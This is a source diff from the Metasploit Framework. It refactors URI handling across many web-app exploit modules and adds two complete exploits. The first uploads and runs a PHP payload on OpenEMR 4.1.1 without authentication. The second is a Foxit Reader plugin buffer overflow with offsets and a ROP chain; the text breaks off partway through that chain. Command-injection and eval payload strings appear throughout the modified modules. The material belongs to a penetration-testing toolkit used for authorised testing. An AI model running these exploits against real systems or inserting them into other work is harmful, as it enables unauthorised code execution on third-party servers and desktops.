"#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" - } - }) + res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//") end end diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 58b051af1b..9dc2044cd7 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -58,12 +58,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}egallery/uploadify.php" + 'uri' => normalize_uri(uri, "egallery", "uploadify.php") }) if res and res.code == 200 and res.body.empty? @@ -97,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}egallery/uploadify.php", + 'uri' => normalize_uri("#{uri}egallery/uploadify.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) @@ -113,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}#{payload_name}" + 'uri' => normalize_uri("#{uri}#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 0ccb1efcfd..c7fa522c9f 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -54,9 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' + uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php') + uri << '?type=file&folder=' res = send_request_raw( { 'uri' => uri diff --git a/modules/exploits/unix/webapp/openemr_upload_exec.rb b/modules/exploits/unix/webapp/openemr_upload_exec.rb new file mode 100644 index 0000000000..41957608bf --- /dev/null +++ b/modules/exploits/unix/webapp/openemr_upload_exec.rb @@ -0,0 +1,132 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "OpenEMR PHP File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the + ofc_upload_image.php file from the openflashchart library, a malicious user can + upload a file to the tmp-upload-images directory without any authentication, which + results in arbitrary code execution. The module has been tested successfully on + OpenEMR 4.1.1 over Ubuntu 10.04. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Gjoko Krstic ', # Discovery, PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '90222' ], + [ 'BID', '37314' ], + [ 'EBD', '24492' ], + [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ], + [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['OpenEMR 4.1.1', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr']) + ], self.class) + end + + def check + uri = target_uri.path + peer = "#{rhost}:#{rport}" + + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "interface", "login", "login.php") + }) + + if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "4.1.1" + return Exploit::CheckCode::Safe + end + + # Check for vulnerable component + print_status("#{peer} - Trying to detect the vulnerable component") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"), + }) + + if res and res.code == 200 and res.body =~ /Saving your image to/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + uri = target_uri.path + + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alpha(rand(10) + 5) + '.php' + my_payload = payload.encoded + + print_status("#{peer} - Sending PHP payload (#{payload_name})") + res = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}", + 'headers' => { "Content-Length" => my_payload.length.to_s }, + 'data' => my_payload + }) + + # If the server returns 200 and the body contains our payload name, + # we assume we uploaded the malicious file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/ + fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + register_file_for_cleanup(payload_name) + + print_status("#{peer} - Executing PHP payload (#{payload_name})") + # Execute our payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name), + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. Print the status code for debugging purposes. + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + end + +end diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 7f9b9cd6f0..546bd1cf11 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -68,9 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'www/admin/' + uri = normalize_uri(datastore['URI'], 'www', 'admin/') res = send_request_raw( { 'uri' => uri @@ -108,9 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Static files img_dir = 'images/' - uri_base = normalize_uri(datastore['URI']) - uri_base << '/' if uri_base[-1,1] != '/' - uri_base << 'www/' + uri_base = normalize_uri(datastore['URI'], 'www/') # Need to login first :-/ cookie = openx_login(uri_base) @@ -166,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + 'admin/index.php' + 'uri' => normalize_uri(uri_base, 'admin/index.php') }, 10) if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/) return nil @@ -176,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => uri_base + 'admin/index.php', + 'uri' => normalize_uri(uri_base, 'admin/index.php'), 'vars_post' => { 'oa_cookiecheck' => cookie, @@ -201,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_find_campaign(uri_base, cookie) res = send_request_raw( { - 'uri' => uri_base + 'admin/advertiser-campaigns.php', + 'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'), 'headers' => { 'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}", @@ -269,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -287,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner id! res = send_request_raw( { - 'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}", + 'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}", 'method' => 'GET', 'headers' => { @@ -319,7 +315,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner name too! res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { @@ -338,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb index 9865c8716b..3bfd6c668e 100644 --- a/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb +++ b/modules/exploits/unix/webapp/oracle_vm_agent_utl.rb @@ -67,9 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote end def go(command) - datastore['BasicAuthUser'] = datastore['USERNAME'] - datastore['BasicAuthPass'] = datastore['PASSWORD'] - xml = <<-EOS diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 66fa7d4ca2..7ca3dc9b58 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending file save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/" + "admin/file_manager.php/login.php?action=save", + 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, 'headers' => @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/" + File.basename(filename) + 'uri' => normalize_uri(datastore['URI'], File.basename(filename)) }, timeout) handler diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index 9526b9f2fa..e6fcd81726 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -54,12 +54,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") }) if res and res.code == 200 @@ -83,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => post_data.to_s }) @@ -96,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") }) if res and res.code != 200 diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 60dc44e643..f19ece646e 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote 1.upto(32) do |x| res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/viewtopic.php?topic=' + x.to_s, + 'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) @@ -92,14 +92,14 @@ class Metasploit3 < Msf::Exploit::Remote return else - sploit = normalize_uri(datastore['URI']) + "/viewtopic.php?t=#{topic}&highlight=" + sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + req + 'uri' => normalize_uri(datastore['URI'], req) }, 25) print_status("Trying to determine which attack method to use...") diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f215e4b11a..55f894ffc3 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI']) + "/scripts/setup.php" + uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/scripts/setup.php", + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/config/config.inc.php" + 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") }, timeout) handler diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 06af2b28c7..4b5b2a4745 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base}/index.php", + 'uri' => normalize_uri("#{base}/index.php"), 'vars_get' => { 'c' => 'access', diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 83de69d3d7..9de06547ac 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit command = Rex::Text.uri_encode(payload.encoded) - urlconfigdir = normalize_uri(datastore['URI']) + "/repository/annotate?rev=`#{command}`" + urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 6e1c95852a..07465ee236 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/index.php' + 'uri' => normalize_uri(datastore['URI'], '/index.php') }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_password_hash(file) res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + file, + 'uri' => normalize_uri(datastore['URI'], file) }, 25) if (res and res.message == "OK" and res.body) @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote def create_new_password(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + '/install03_cgi.php', + 'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/login_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/upload_img_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote def reset_original_password(hash, scriptlocation) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + scriptlocation, + 'uri' => normalize_uri(datastore['URI'], scriptlocation), 'method' => 'POST', 'data' => "hash=" + hash, }, 25) @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + delete_path, + 'uri' => normalize_uri(datastore['URI'], delete_path), }, 25) if (res) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 40311c1ed3..9f8aadb621 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] @@ -89,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}index.php" , + 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index a051069c93..99f57424e1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET', 'headers' => { @@ -155,8 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote # when exploiting this vulnerability :) # def build_uri(f_val) - uri = normalize_uri(datastore['URI']) - uri << "/tiki-graph_formula.php?" + uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?") # Requirements: query = '' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index c2f500447e..7fac9b73f1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET' }, 25) @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_temp_file - url_jhot = normalize_uri(datastore['URI']) + "/jhot.php" + url_jhot = normalize_uri(datastore['URI'], "/jhot.php") scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exe_command(cmd) - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote end def remove_temp_file - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index f6908cbf6d..bb5f625e56 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( - 'uri' => "#{base}tiki-rss_error.php" + 'uri' => normalize_uri(base, "tiki-rss_error.php") ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}tiki-print_multi_pages.php", + 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"), 'method' => 'POST', 'vars_post' => { 'printpages' => printpages @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base + @upload_php}", + 'uri' => normalize_uri(base, @upload_php), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 42bccd1b2f..98b628b9f8 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote # def check test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers?rev=' - test_url = normalize_uri(datastore['URI']) + '/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=') + test_url = normalize_uri(datastore['URI'], test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' - query_str = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers' + query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers') query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 741f7eef42..b27a6f4e23 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Exploit::Remote def check content = rand_text_alphanumeric(16+rand(16)) test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/WebSearch?search=' - test_url = normalize_uri(datastore['URI']) + '/view/Main/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=') + test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -105,13 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote search = rand_text_alphanumeric(1+rand(8)) search << "';" + payload.encoded + ";#\'" - query_str = normalize_uri(datastore['URI']) + '/view/Main/WebSearch' + query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch') query_str << '?search=' query_str << Rex::Text.uri_encode(search) res = send_request_cgi({ 'method' => 'GET', - 'uri' => query_str, + 'uri' => query_str, }, 25) if (res and res.code == 200) diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index c405327ab0..ef6906721e 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, - 'DisclosureDate' => "Jan 22 2013", + 'DisclosureDate' => "Jan 22 2013" )) register_options([ @@ -145,4 +145,3 @@ class Metasploit3 < Msf::Exploit::Remote end end - diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae4..e51ecadf6d 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb new file mode 100644 index 0000000000..79df79fbcf --- /dev/null +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -0,0 +1,195 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpServer::HTML + + Rank = NormalRanking + + def initialize(info={}) + super(update_info(info, + 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability in the Foxit Reader Plugin, it exists in + the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, + overly long query strings within URLs can cause a stack-based buffer overflow, + which can be exploited to execute arbitrary code. This exploit has been tested + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 + (npFoxitReaderPlugin.dll version 2.2.1.530). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # initial discovery and poc + 'Sven Krewitt ', # metasploit module + 'juan vazquez', # metasploit module + ], + 'References' => + [ + [ 'OSVDB', '89030' ], + [ 'BID', '57174' ], + [ 'EDB', '23944' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], + [ 'URL', 'http://secunia.com/advisories/51733/' ] + ], + 'Payload' => + { + 'Space' => 2000, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'EXITFUNC' => "process", + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # npFoxitReaderPlugin.dll version 2.2.1.530 + [ 'Automatic', {} ], + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281', + { + 'Offset' => 272, + 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin + 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin + :rop => :win7_rop_chain + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 7 2013", + 'DefaultTarget' => 0)) + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + if os_name == 'Windows 7' and firefox =~ /18/ + return targets[1] + end + + return nil + end + + def junk + return rand_text_alpha(4).unpack("L")[0].to_i + end + + def nops + make_nops(4).unpack("N*") + end + + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) + def win7_rop_chain + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] + 0x41414141, # Filler (RETN offset compensation) + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] + 0x100073fa, # POP EBX # 